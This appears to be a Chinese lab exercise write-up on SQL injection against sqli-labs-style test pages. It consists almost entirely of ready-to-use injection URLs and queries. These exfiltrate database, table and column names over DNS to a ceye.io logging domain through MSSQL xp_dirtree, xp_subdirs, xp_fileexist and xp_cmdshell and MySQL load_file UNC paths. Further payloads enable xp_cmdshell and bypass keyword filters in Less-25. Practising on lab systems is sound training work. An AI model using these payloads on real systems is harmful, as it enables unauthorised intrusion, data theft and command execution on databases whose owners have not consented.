练习14
Abstract: 利用mssql 数据库的 dnslog 外带数据的方式进行注入,查询出库名表名;利用 mysql 数据库在 windows 系统中 dnslog 外带数据进行注入。
Table of Contents
Mssql 的 dnslog 外带数据注入
查询库名
查总个数
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select count(name) from master.dbo.sysdatabases );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ') |


查第一个库名
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select name from master.dbo.sysdatabases where dbid=1 );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ') |


查询第二个库名
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select name from master.dbo.sysdatabases where dbid=2 );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ') |


全部库名如下图所示:

八个库分别为:master,tempdb,model,msdb,ReportServer,aspcms,ReportServerTempDB 和 test。
查询库 test 中的表名
先查看个数
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select count(Name) FROM test.dbo.SysObjects Where XType='U' );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ') |


总共四个表
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select top 1 Name FROM test.dbo.SysObjects Where XType='U');exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ') |


1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select top 1 Name FROM test.dbo.SysObjects Where XType='U' and name not in ('emails') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ') |


关于如何取下一个表名,还有一种更巧妙的方法,
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select top 1 Name FROM test.dbo.SysObjects Where XType='U' and name not in (select top 3 name from test.dbo.SysObjects Where XType='U') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ') |


可知,这四个表分别为:emails,users,uagents 和 referers。
查询 users 表中的列名
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ') |


依次执行下面命令,可以查的所有的列名
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ') |
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username', 'password') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ') |
列名分别为 :id,username 和 password。

使用 xp_subdirs
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username') );exec('master..xp_subdirs "//' %2b @a %2b '.subdirs.9rq9q9.ceye.io/a" ') |


使用 xp_fileexist
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username') );exec('master..xp_fileexist "//' %2b @a %2b '.fileexist.9rq9q9.ceye.io/a" ') |


使用 xp_cmdshell
现在数据库中打开 xp_cmdshell
1 | EXEC sp_configure 'show advanced options',1 |

先在数据库中执行下面命令,看是否正确。
1 | declare @a varchar(1024); |
我们可以看到执行的结果。


在 Hackbar执行命令
1 | http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a='www.baidu.com'; exec('sp_configure "show advanced options",1');reconfigure;exec('sp_configure "xp_cmdshell",1');reconfigure;exec ('master..xp_cmdshell "ping ' %2b @a %2b '.hackbarcmd.9rq9q9.ceye.io" ') |


1 | http://192.168.179.131/less-6.asp?id=1; declare @a varchar(1024); set @a='www.baidu.com';exec ('master..xp_cmdshell "ping ' %2b @a %2b '.han.9rq9q9.ceye.io" ') |


MySQL 的 dnslog 外带数据注入
window下在 phpstudy_pro 中 C:\phpstudy_pro\Extensions\MySQL8.0.12 下的 my.ini中添加:
secure_file_priv= 重启服务。

查询库名
1 | select load_file(CONCAT('\\\\',(SELECT schema_name FROM information_schema.schemata limit 0,1), '.mysql.9rq9q9.ceye.io\\abc')) |

1 | select load_file(CONCAT('\\\\',(SELECT schema_name FROM information_schema.schemata limit 1,1), '.mysql.9rq9q9.ceye.io\\abc')) |

查询 security 库中的表名
1 | select load_file(CONCAT('\\\\',(SELECT table_name FROM information_schema.tables WHERE table_schema='security' limit 0,1), '.mysql.9rq9q9.ceye.io\\abc')) |

注:也可以使用 database() 函数代替 security,不过要记住要先使用命令 use security; 否则会因当前没有使用的数据库造成失败。
查询 emails 表中列名
1 | select load_file(CONCAT('\\\\',(SELECT column_name FROM information_schema.columns WHERE table_schema='security' and table_name = 'emails' limit 0,1), '.mysql.9rq9q9.ceye.io\\abc')) |

sqli-labs Less-25
1 | http://192.168.43.204/sqli-labs/Less-25?id=1 |

1 | http://192.168.43.204/sqli-labs/Less-25?id=1' |

1 | http://192.168.43.204/sqli-labs/Less-25?id=1' -- | |

1 | http://192.168.43.204/sqli-labs/Less-25?id=1' and '1'='1 -- | |

发现页面变化了,并且把我们输入的 and 和 or给过滤掉了。改变单词内某些字母的大小写,依然无济于事。尝试用 && 和 ||。
1 | http://192.168.43.204/sqli-labs/Less-25?id=1' || '1'='1 -- | |

可以在网页上清除看到,|| 并没有被过滤掉。
这里可以选择联合查询

由于数据库错误会提示报错信息,所以也可以选择报错注入。在这里我们通过 && 和||注入。
1 | http://192.168.43.204/sqli-labs/Less-25?id=1' && updatexml(1, concat('~',(select database()), '~'), 1) -- | |

可以发现 && 及其后面的内容全部过滤掉了。
尝试使用 ||

1 | http://192.168.43.204/sqli-labs/Less-25?id=1' || updatexml(1, concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'), '~'), 1) -- | |

发现把 information_schema 中的 or 给过滤掉了,尝试下 infoorrmation_schema
1 | http://192.168.43.204/sqli-labs/Less-25?id=1' || updatexml(1, concat('~',(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'), '~'), 1) -- | |

同理我们也可以查到列名。
